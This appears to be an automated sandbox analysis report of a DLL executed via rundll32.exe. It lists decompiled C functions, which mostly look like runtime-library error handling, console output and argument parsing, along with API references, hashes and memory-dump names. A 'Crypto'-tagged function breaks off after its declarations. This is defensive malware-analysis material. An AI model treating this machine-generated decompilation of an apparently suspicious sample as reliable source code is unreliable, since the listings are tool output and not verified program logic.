Opcode Fuzzy Hash: 8c8d511e6ea196100512c12a7ea46039141ace5b87392d3855a92573c06a66c9
Instruction Fuzzy Hash: 9B614D76E042199FDB14CFE9C8905EDFBF9EF48314B2481AAD818E7304D735AE458B90

Uniqueness

Uniqueness Score: -1.00%

Function 6EF615AB, Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF615AB(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t29;
				char _t31;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					_t31 = 0;
					__eflags =  *_t40;
					if( *_t40 != 0) {
						_t16 = E6EF627A9(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t16;
						if(__eflags != 0) {
							_t38 = _a8;
							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t17 = E6EF627A9(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
								__eflags = _t17;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
									_t19 = 0;
									__eflags = 0;
								} else {
									E6EF6016E(GetLastError());
									_t19 =  *((intOrPtr*)(E6EF601A4(__eflags)));
								}
								L14:
								return _t19;
							}
							_t19 = E6EF61BF1(_t38, __eflags, _t16);
							__eflags = _t19;
							if(_t19 != 0) {
								goto L14;
							}
							goto L11;
						}
						E6EF6016E(GetLastError());
						return  *((intOrPtr*)(E6EF601A4(__eflags)));
					}
					_t41 = _a8;
					__eflags =  *((intOrPtr*)(_t41 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
						L2:
						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
						return 0;
					}
					_t29 = E6EF61BF1(_t41, __eflags, 1);
					__eflags = _t29;
					if(_t29 != 0) {
						return _t29;
					}
					goto L6;
				}
				_t41 = _a8;
				E6EF61BD7(_t41);
				_t31 = 0;
				 *((intOrPtr*)(_t41 + 8)) = 0;
				 *((intOrPtr*)(_t41 + 0xc)) = 0;
				goto L2;
			}

0x6ef615b2
0x6ef615b7
0x6ef615d5
0x6ef615d7
0x6ef615da
0x6ef61607
0x6ef6160f
0x6ef61611
0x6ef6162a
0x6ef6162d
0x6ef61630
0x6ef6163e
0x6ef6164d
0x6ef61655
0x6ef61657
0x6ef61670
0x6ef61673
0x6ef61673
0x6ef61659
0x6ef61660
0x6ef6166b
0x6ef6166b
0x6ef61675
0x00000000
0x6ef61675
0x6ef61635
0x6ef6163a
0x6ef6163c
0x00000000
0x00000000
0x00000000
0x6ef6163c
0x6ef6161a
0x00000000
0x6ef61625
0x6ef615dc
0x6ef615df
0x6ef615e2
0x6ef615f5
0x6ef615f8
0x6ef615cb
0x6ef615cb
0x00000000
0x6ef615ce
0x6ef615e8
0x6ef615ed
0x6ef615ef
0x6ef61679
0x6ef61679
0x00000000
0x6ef615ef
0x6ef615b9
0x6ef615be
0x6ef615c3
0x6ef615c5
0x6ef615c8
0x00000000

APIs

Part of subcall function 6EF61BD7: _free.LIBCMT ref: 6EF61BE5

Part of subcall function 6EF627A9: WideCharToMultiByte.KERNEL32(?,00000000,6EF6084A,00000000,00000001,6EF607E3,6EF63ABD,?,6EF6084A,?,00000000,?,6EF63834,0000FDE9,00000000,?), ref: 6EF6284B

GetLastError.KERNEL32 ref: 6EF61613
__dosmaperr.LIBCMT ref: 6EF6161A
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6EF61659
__dosmaperr.LIBCMT ref: 6EF61660

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 4d998bcabe835adb2f0127db7df8a9125d396653c4736fda9c72509fbad6f63f
Instruction ID: 54b3a257c4de1bce0fa0a9c94916cc6531476729a2e0ff0761ba6ba021709d69
Opcode Fuzzy Hash: 4d998bcabe835adb2f0127db7df8a9125d396653c4736fda9c72509fbad6f63f
Instruction Fuzzy Hash: C021C172614205BFEB109FE68CA095BB7BCEF413687148919F82D97240EB72EC048BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF6103A, Relevance: 6.1, APIs: 4, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E6EF6103A(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				long _t3;
				intOrPtr _t5;
				long _t6;
				intOrPtr _t9;
				long _t10;
				signed int _t39;
				signed int _t40;
				void* _t43;
				void* _t49;
				signed int _t51;
				signed int _t53;
				signed int _t54;
				long _t56;
				long _t60;
				long _t61;
				void* _t65;

				_t49 = __edx;
				_t43 = __ecx;
				_t60 = GetLastError();
				_t2 =  *0x6ef8619c; // 0x6
				_t67 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E6EF604CA(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t51 = E6EF601B7(_t43, 1, 0x364);
						_pop(_t43);
						__eflags = _t51;
						if(__eflags != 0) {
							__eflags = E6EF604CA(__eflags,  *0x6ef8619c, _t51);
							if(__eflags != 0) {
								E6EF60E38(_t60, _t51, 0x6ef9e640);
								E6EF5FEFF(0);
								_t65 = _t65 + 0xc;
								goto L13;
							} else {
								_t39 = 0;
								E6EF604CA(__eflags,  *0x6ef8619c, 0);
								_push(_t51);
								goto L9;
							}
						} else {
							_t39 = 0;
							__eflags = 0;
							E6EF604CA(0,  *0x6ef8619c, 0);
							_push(0);
							L9:
							E6EF5FEFF();
							_pop(_t43);
							goto L4;
						}
					}
				} else {
					_t51 = E6EF6048B(_t67, _t2);
					if(_t51 == 0) {
						_t2 =  *0x6ef8619c; // 0x6
						goto L6;
					} else {
						if(_t51 != 0xffffffff) {
							L13:
							_t39 = _t51;
						} else {
							L3:
							_t39 = 0;
							L4:
							_t51 = _t39;
						}
					}
				}
				SetLastError(_t60);
				asm("sbb edi, edi");
				_t53 =  ~_t51 & _t39;
				if(_t53 == 0) {
					E6EF5FE28(_t39, _t43, _t49, _t53, _t60);
					asm("int3");
					_t5 =  *0x6ef8619c; // 0x6
					_push(_t60);
					__eflags = _t5 - 0xffffffff;
					if(__eflags == 0) {
						L22:
						_t6 = E6EF604CA(__eflags, _t5, 0xffffffff);
						__eflags = _t6;
						if(_t6 == 0) {
							goto L31;
						} else {
							_t60 = E6EF601B7(_t43, 1, 0x364);
							_pop(_t43);
							__eflags = _t60;
							if(__eflags != 0) {
								__eflags = E6EF604CA(__eflags,  *0x6ef8619c, _t60);
								if(__eflags != 0) {
									E6EF60E38(_t60, _t60, 0x6ef9e640);
									E6EF5FEFF(0);
									_t65 = _t65 + 0xc;
									goto L29;
								} else {
									E6EF604CA(__eflags,  *0x6ef8619c, _t21);
									_push(_t60);
									goto L25;
								}
							} else {
								E6EF604CA(__eflags,  *0x6ef8619c, _t20);
								_push(_t60);
								L25:
								E6EF5FEFF();
								_pop(_t43);
								goto L31;
							}
						}
					} else {
						_t60 = E6EF6048B(__eflags, _t5);
						__eflags = _t60;
						if(__eflags == 0) {
							_t5 =  *0x6ef8619c; // 0x6
							goto L22;
						} else {
							__eflags = _t60 - 0xffffffff;
							if(_t60 == 0xffffffff) {
								L31:
								E6EF5FE28(_t39, _t43, _t49, _t53, _t60);
								asm("int3");
								_push(_t39);
								_push(_t60);
								_push(_t53);
								_t61 = GetLastError();
								_t9 =  *0x6ef8619c; // 0x6
								__eflags = _t9 - 0xffffffff;
								if(__eflags == 0) {
									L38:
									_t10 = E6EF604CA(__eflags, _t9, 0xffffffff);
									__eflags = _t10;
									if(_t10 == 0) {
										goto L35;
									} else {
										_t54 = E6EF601B7(_t43, 1, 0x364);
										__eflags = _t54;
										if(__eflags != 0) {
											__eflags = E6EF604CA(__eflags,  *0x6ef8619c, _t54);
											if(__eflags != 0) {
												E6EF60E38(_t61, _t54, 0x6ef9e640);
												E6EF5FEFF(0);
												goto L45;
											} else {
												_t40 = 0;
												E6EF604CA(__eflags,  *0x6ef8619c, 0);
												_push(_t54);
												goto L41;
											}
										} else {
											_t40 = 0;
											__eflags = 0;
											E6EF604CA(0,  *0x6ef8619c, 0);
											_push(0);
											L41:
											E6EF5FEFF();
											goto L36;
										}
									}
								} else {
									_t54 = E6EF6048B(__eflags, _t9);
									__eflags = _t54;
									if(__eflags == 0) {
										_t9 =  *0x6ef8619c; // 0x6
										goto L38;
									} else {
										__eflags = _t54 - 0xffffffff;
										if(_t54 != 0xffffffff) {
											L45:
											_t40 = _t54;
										} else {
											L35:
											_t40 = 0;
											__eflags = 0;
											L36:
											_t54 = _t40;
										}
									}
								}
								SetLastError(_t61);
								asm("sbb edi, edi");
								_t56 =  ~_t54 & _t40;
								__eflags = _t56;
								return _t56;
							} else {
								L29:
								__eflags = _t60;
								if(_t60 == 0) {
									goto L31;
								} else {
									return _t60;
								}
							}
						}
					}
				} else {
					return _t53;
				}
			}

0x6ef6103a
0x6ef6103a
0x6ef61045
0x6ef61047
0x6ef6104c
0x6ef6104f
0x6ef6106d
0x6ef61070
0x6ef61075
0x6ef61077
0x00000000
0x6ef61079
0x6ef61085
0x6ef61088
0x6ef61089
0x6ef6108b
0x6ef610b0
0x6ef610b2
0x6ef610cb
0x6ef610d2
0x6ef610d7
0x00000000
0x6ef610b4
0x6ef610b4
0x6ef610bd
0x6ef610c2
0x00000000
0x6ef610c2
0x6ef6108d
0x6ef6108d
0x6ef6108d
0x6ef61096
0x6ef6109b
0x6ef6109c
0x6ef6109c
0x6ef610a1
0x00000000
0x6ef610a1
0x6ef6108b
0x6ef61051
0x6ef61057
0x6ef6105b
0x6ef61068
0x00000000
0x6ef6105d
0x6ef61060
0x6ef610da
0x6ef610da
0x6ef61062
0x6ef61062
0x6ef61062
0x6ef61064
0x6ef61064
0x6ef61064
0x6ef61060
0x6ef6105b
0x6ef610dd
0x6ef610e5
0x6ef610e7
0x6ef610e9
0x6ef610f1
0x6ef610f6
0x6ef610f7
0x6ef610fc
0x6ef610fd
0x6ef61100
0x6ef6111a
0x6ef6111d
0x6ef61122
0x6ef61124
0x00000000
0x6ef61126
0x6ef61132
0x6ef61135
0x6ef61136
0x6ef61138
0x6ef6115b
0x6ef6115d
0x6ef61174
0x6ef6117b
0x6ef61180
0x00000000
0x6ef6115f
0x6ef61166
0x6ef6116b
0x00000000
0x6ef6116b
0x6ef6113a
0x6ef61141
0x6ef61146
0x6ef61147
0x6ef61147
0x6ef6114c
0x00000000
0x6ef6114c
0x6ef61138
0x6ef61102
0x6ef61108
0x6ef6110a
0x6ef6110c
0x6ef61115
0x00000000
0x6ef6110e
0x6ef6110e
0x6ef61111
0x6ef6118b
0x6ef6118b
0x6ef61190
0x6ef61193
0x6ef61194
0x6ef61195
0x6ef6119c
0x6ef6119e
0x6ef611a3
0x6ef611a6
0x6ef611c4
0x6ef611c7
0x6ef611cc
0x6ef611ce
0x00000000
0x6ef611d0
0x6ef611dc
0x6ef611e0
0x6ef611e2
0x6ef61207
0x6ef61209
0x6ef61222
0x6ef61229
0x00000000
0x6ef6120b
0x6ef6120b
0x6ef61214
0x6ef61219
0x00000000
0x6ef61219
0x6ef611e4
0x6ef611e4
0x6ef611e4
0x6ef611ed
0x6ef611f2
0x6ef611f3
0x6ef611f3
0x00000000
0x6ef611f8
0x6ef611e2
0x6ef611a8
0x6ef611ae
0x6ef611b0
0x6ef611b2
0x6ef611bf
0x00000000
0x6ef611b4
0x6ef611b4
0x6ef611b7
0x6ef61231
0x6ef61231
0x6ef611b9
0x6ef611b9
0x6ef611b9
0x6ef611b9
0x6ef611bb
0x6ef611bb
0x6ef611bb
0x6ef611b7
0x6ef611b2
0x6ef61234
0x6ef6123c
0x6ef6123e
0x6ef6123e
0x6ef61245
0x6ef61113
0x6ef61183
0x6ef61183
0x6ef61185
0x00000000
0x6ef61187
0x6ef6118a
0x6ef6118a
0x6ef61185
0x6ef61111
0x6ef6110c
0x6ef610eb
0x6ef610f0
0x6ef610f0

APIs

GetLastError.KERNEL32(?,?,?,6EF63575,00000000,00000001,6EF6084A,?,6EF63A32,00000001,?,?,?,6EF607E3,?,00000000), ref: 6EF6103F
_free.LIBCMT ref: 6EF6109C
_free.LIBCMT ref: 6EF610D2
SetLastError.KERNEL32(00000000,00000006,000000FF,?,6EF63A32,00000001,?,?,?,6EF607E3,?,00000000,00000000,6EF85098,0000002C,6EF6084A), ref: 6EF610DD

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7431839e836a35e0758465fb27456309653c9884ee3560f71757ad1aac8f245e
Instruction ID: cdd80d38aa2c7e78f857e95c647e69545b2a1fa463e86967c8ac7e0569277b3f
Opcode Fuzzy Hash: 7431839e836a35e0758465fb27456309653c9884ee3560f71757ad1aac8f245e
Instruction Fuzzy Hash: 3911A733224A817B9EA016F54CB4F6B377D9BD377D7314A26F22C86282EF628C195150

Uniqueness

Uniqueness Score: -1.00%

Function 6EF61191, Relevance: 6.1, APIs: 4, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EF61191(void* __ecx) {
				void* __esi;
				intOrPtr _t2;
				signed int _t3;
				signed int _t13;
				void* _t14;
				signed int _t18;
				long _t21;

				_t14 = __ecx;
				_t21 = GetLastError();
				_t2 =  *0x6ef8619c; // 0x6
				_t24 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E6EF604CA(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t18 = E6EF601B7(_t14, 1, 0x364);
						__eflags = _t18;
						if(__eflags != 0) {
							__eflags = E6EF604CA(__eflags,  *0x6ef8619c, _t18);
							if(__eflags != 0) {
								E6EF60E38(_t21, _t18, 0x6ef9e640);
								E6EF5FEFF(0);
								goto L13;
							} else {
								_t13 = 0;
								E6EF604CA(__eflags,  *0x6ef8619c, 0);
								_push(_t18);
								goto L9;
							}
						} else {
							_t13 = 0;
							__eflags = 0;
							E6EF604CA(0,  *0x6ef8619c, 0);
							_push(0);
							L9:
							E6EF5FEFF();
							goto L4;
						}
					}
				} else {
					_t18 = E6EF6048B(_t24, _t2);
					if(_t18 == 0) {
						_t2 =  *0x6ef8619c; // 0x6
						goto L6;
					} else {
						if(_t18 != 0xffffffff) {
							L13:
							_t13 = _t18;
						} else {
							L3:
							_t13 = 0;
							L4:
							_t18 = _t13;
						}
					}
				}
				SetLastError(_t21);
				asm("sbb edi, edi");
				return  ~_t18 & _t13;
			}

0x6ef61191
0x6ef6119c
0x6ef6119e
0x6ef611a3
0x6ef611a6
0x6ef611c4
0x6ef611c7
0x6ef611cc
0x6ef611ce
0x00000000
0x6ef611d0
0x6ef611dc
0x6ef611e0
0x6ef611e2
0x6ef61207
0x6ef61209
0x6ef61222
0x6ef61229
0x00000000
0x6ef6120b
0x6ef6120b
0x6ef61214
0x6ef61219
0x00000000
0x6ef61219
0x6ef611e4
0x6ef611e4
0x6ef611e4
0x6ef611ed
0x6ef611f2
0x6ef611f3
0x6ef611f3
0x00000000
0x6ef611f8
0x6ef611e2
0x6ef611a8
0x6ef611ae
0x6ef611b2
0x6ef611bf
0x00000000
0x6ef611b4
0x6ef611b7
0x6ef61231
0x6ef61231
0x6ef611b9
0x6ef611b9
0x6ef611b9
0x6ef611bb
0x6ef611bb
0x6ef611bb
0x6ef611b7
0x6ef611b2
0x6ef61234
0x6ef6123c
0x6ef61245

APIs

GetLastError.KERNEL32(-00000017,6EF9E844,00000000,6EF601A9,6EF5FEF4,6EF9E824,?,6EF5C421,00000000,6EF9E844,00000000), ref: 6EF61196
_free.LIBCMT ref: 6EF611F3
_free.LIBCMT ref: 6EF61229
SetLastError.KERNEL32(00000000,00000006,000000FF,?,6EF5C421,00000000,6EF9E844,00000000), ref: 6EF61234

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: afd0fe10b19efd9b29e4080132271a09820921a04248c92c1ca9992704adb491
Instruction ID: 3001b770cb80218936e9a7a224a4e8ce3eccec172d625a272672af0b96716ee8
Opcode Fuzzy Hash: afd0fe10b19efd9b29e4080132271a09820921a04248c92c1ca9992704adb491
Instruction Fuzzy Hash: C211A032234A013BDAA056F94CA4F6B377E9BD377C7314A26F22C86281EF628C198150

Uniqueness

Uniqueness Score: -1.00%

Function 6EF65292, Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF65292(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x6ef868f0, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E6EF6527B();
					E6EF6523D();
					_t13 = WriteConsoleW( *0x6ef868f0, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x6ef652af
0x6ef652b3
0x6ef652c0
0x6ef652c5
0x6ef652e0
0x6ef652e0
0x6ef652e6

APIs

WriteConsoleW.KERNEL32(?,?,6EF6084A,00000000,?,?,6EF64E17,?,00000001,?,00000001,?,6EF63502,00000000,00000000,00000001), ref: 6EF652A9
GetLastError.KERNEL32(?,6EF64E17,?,00000001,?,00000001,?,6EF63502,00000000,00000000,00000001,00000000,00000001,?,6EF63A56,6EF607E3), ref: 6EF652B5

Part of subcall function 6EF6527B: CloseHandle.KERNEL32(FFFFFFFE,6EF652C5,?,6EF64E17,?,00000001,?,00000001,?,6EF63502,00000000,00000000,00000001,00000000,00000001), ref: 6EF6528B

___initconout.LIBCMT ref: 6EF652C5

Part of subcall function 6EF6523D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6EF6526C,6EF64E04,00000001,?,6EF63502,00000000,00000000,00000001,00000000), ref: 6EF65250

WriteConsoleW.KERNEL32(?,?,6EF6084A,00000000,?,6EF64E17,?,00000001,?,00000001,?,6EF63502,00000000,00000000,00000001,00000000), ref: 6EF652DA

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 70ae81c7fa8d0e9c33b1220849707d6b96d96c39fd3fc5cdf5356e22a501f3b6
Instruction ID: e83dfa3ddc9636798d79b9016293ad31ef2180ad760e06df0f74e1355a734115
Opcode Fuzzy Hash: 70ae81c7fa8d0e9c33b1220849707d6b96d96c39fd3fc5cdf5356e22a501f3b6
Instruction Fuzzy Hash: C0F03037064665BBCF521FD1CC18B9A3F7AFF4B3A0F154818FA1995120D73289209BD0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5F52B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EF5F52B(void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				char* _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t26;
				intOrPtr* _t36;
				signed int _t37;
				signed int _t40;
				char _t42;
				signed int _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr _t48;
				signed int _t49;
				signed int _t54;
				void* _t57;
				intOrPtr* _t58;
				void* _t59;
				signed int _t64;
				signed int _t66;

				_t57 = __edx;
				_t48 = _a4;
				if(_t48 != 0) {
					__eflags = _t48 - 2;
					if(_t48 == 2) {
						L5:
						_push(_t59);
						E6EF623D2(_t48, _t59);
						E6EF61E1F(_t57, 0, 0x6ef9e218, 0x104);
						_t26 =  *0x6ef9e7c0; // 0x2ea3420
						 *0x6ef9e7b0 = 0x6ef9e218;
						_v20 = _t26;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							_t26 = 0x6ef9e218;
							_v20 = 0x6ef9e218;
							L8:
							_v8 = 0;
							_v16 = 0;
							_t64 = E6EF5F7DC(E6EF5F663( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, 1);
							__eflags = _t64;
							if(__eflags != 0) {
								E6EF5F663( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
								__eflags = _t48 - 1;
								if(_t48 != 1) {
									_v12 = 0;
									_push( &_v12);
									_t49 = E6EF61D12(_t48, 0, _t64, _t64);
									__eflags = _t49;
									if(_t49 == 0) {
										_t58 = _v12;
										_t54 = 0;
										_t36 = _t58;
										__eflags =  *_t58;
										if( *_t58 == 0) {
											L17:
											_t37 = 0;
											 *0x6ef9e7b4 = _t54;
											_v12 = 0;
											_t49 = 0;
											 *0x6ef9e7b8 = _t58;
											L18:
											E6EF5FEFF(_t37);
											_v12 = 0;
											L19:
											E6EF5FEFF(_t64);
											_t40 = _t49;
											L20:
											return _t40;
										} else {
											goto L16;
										}
										do {
											L16:
											_t36 = _t36 + 4;
											_t54 = _t54 + 1;
											__eflags =  *_t36;
										} while ( *_t36 != 0);
										goto L17;
									}
									_t37 = _v12;
									goto L18;
								}
								_t42 = _v8 - 1;
								__eflags = _t42;
								 *0x6ef9e7b4 = _t42;
								_t43 = _t64;
								_t64 = 0;
								 *0x6ef9e7b8 = _t43;
								L12:
								_t49 = 0;
								goto L19;
							}
							_t44 = E6EF601A4(__eflags);
							_push(0xc);
							_pop(0);
							 *_t44 = 0;
							goto L12;
						}
						__eflags =  *_t26;
						if( *_t26 != 0) {
							goto L8;
						}
						goto L7;
					}
					__eflags = _t48 - 1;
					if(__eflags == 0) {
						goto L5;
					}
					_t45 = E6EF601A4(__eflags);
					_t66 = 0x16;
					 *_t45 = _t66;
					E6EF600E7();
					_t40 = _t66;
					goto L20;
				}
				return 0;
			}

0x6ef5f52b
0x6ef5f534
0x6ef5f539
0x6ef5f543
0x6ef5f546
0x6ef5f563
0x6ef5f563
0x6ef5f564
0x6ef5f577
0x6ef5f57c
0x6ef5f584
0x6ef5f58a
0x6ef5f58d
0x6ef5f58f
0x6ef5f596
0x6ef5f596
0x6ef5f598
0x6ef5f59b
0x6ef5f59e
0x6ef5f5a5
0x6ef5f5be
0x6ef5f5c3
0x6ef5f5c5
0x6ef5f5e6
0x6ef5f5ee
0x6ef5f5f1
0x6ef5f60c
0x6ef5f60f
0x6ef5f616
0x6ef5f61a
0x6ef5f61c
0x6ef5f623
0x6ef5f626
0x6ef5f628
0x6ef5f62a
0x6ef5f62c
0x6ef5f636
0x6ef5f636
0x6ef5f638
0x6ef5f63e
0x6ef5f641
0x6ef5f643
0x6ef5f649
0x6ef5f64a
0x6ef5f650
0x6ef5f653
0x6ef5f654
0x6ef5f65a
0x6ef5f65d
0x00000000
0x00000000
0x00000000
0x00000000
0x6ef5f62e
0x6ef5f62e
0x6ef5f62e
0x6ef5f631
0x6ef5f632
0x6ef5f632
0x00000000
0x6ef5f62e
0x6ef5f61e
0x00000000
0x6ef5f61e
0x6ef5f5f6
0x6ef5f5f6
0x6ef5f5f7
0x6ef5f5fc
0x6ef5f5fe
0x6ef5f600
0x6ef5f605
0x6ef5f605
0x00000000
0x6ef5f605
0x6ef5f5c7
0x6ef5f5cc
0x6ef5f5ce
0x6ef5f5cf
0x00000000
0x6ef5f5cf
0x6ef5f591
0x6ef5f594
0x00000000
0x00000000
0x00000000
0x6ef5f594
0x6ef5f548
0x6ef5f54b
0x00000000
0x00000000
0x6ef5f54d
0x6ef5f554
0x6ef5f555
0x6ef5f557
0x6ef5f55c
0x00000000
0x6ef5f55c
0x00000000

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EF5F56E, 6EF5F575, 6EF5F5AB

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 6227769eca67a92a41c2a3091a7fb3cf66bfa108bcc77320e210ed1dfc884526
Instruction ID: 8303851098b50214d86792b118272b958933af1c74c3fd634a413cd01cb13f09
Opcode Fuzzy Hash: 6227769eca67a92a41c2a3091a7fb3cf66bfa108bcc77320e210ed1dfc884526
Instruction Fuzzy Hash: 6D419F72A44215AFDB91DFD9C8A099EBBFCFBA5314F2000A7E414D7350E7718A50C791

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6328 Parent PID: 6308 rundll32.exeCOMMON

Executed Functions

Function 6EF5BB30, Relevance: 14.0, APIs: 9, Instructions: 493
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E6EF5BB30(void* __ebx, signed int* __ecx, signed int __edx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v40;
				char _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int _v56;
				void* _v60;
				long _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				long _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _v92;
				signed int _v96;
				intOrPtr _v100;
				signed int _t198;
				void* _t209;
				long _t212;
				intOrPtr _t221;
				void* _t231;
				void _t235;
				void* _t237;
				signed int _t239;
				long _t240;
				signed int _t242;
				void* _t244;
				intOrPtr _t245;
				long _t248;
				intOrPtr* _t253;
				signed int* _t255;
				signed int* _t258;
				void* _t263;
				signed int _t264;
				signed int _t265;
				signed char _t266;
				intOrPtr _t267;
				signed int _t270;
				void* _t279;
				void* _t288;
				void* _t293;
				intOrPtr _t294;
				signed int _t297;
				void _t298;
				intOrPtr _t299;
				intOrPtr* _t301;
				intOrPtr* _t302;
				long _t306;
				signed char _t307;
				signed int _t308;
				intOrPtr _t312;
				void _t314;
				signed int _t318;
				signed int _t319;
				void _t321;
				intOrPtr _t329;
				intOrPtr _t333;
				void* _t336;
				signed int* _t339;
				void* _t341;
				signed int _t343;
				intOrPtr _t345;
				intOrPtr _t346;
				void _t348;
				signed int _t353;
				signed short* _t354;
				void* _t355;
				signed int _t358;
				long _t361;
				void* _t362;
				intOrPtr _t367;
				intOrPtr _t368;
				long _t369;
				long _t371;
				signed int _t375;
				void* _t376;
				long _t379;
				intOrPtr _t380;
				intOrPtr* _t384;
				signed int _t388;
				void* _t390;
				intOrPtr _t392;
				long _t394;
				intOrPtr _t395;
				signed int _t396;
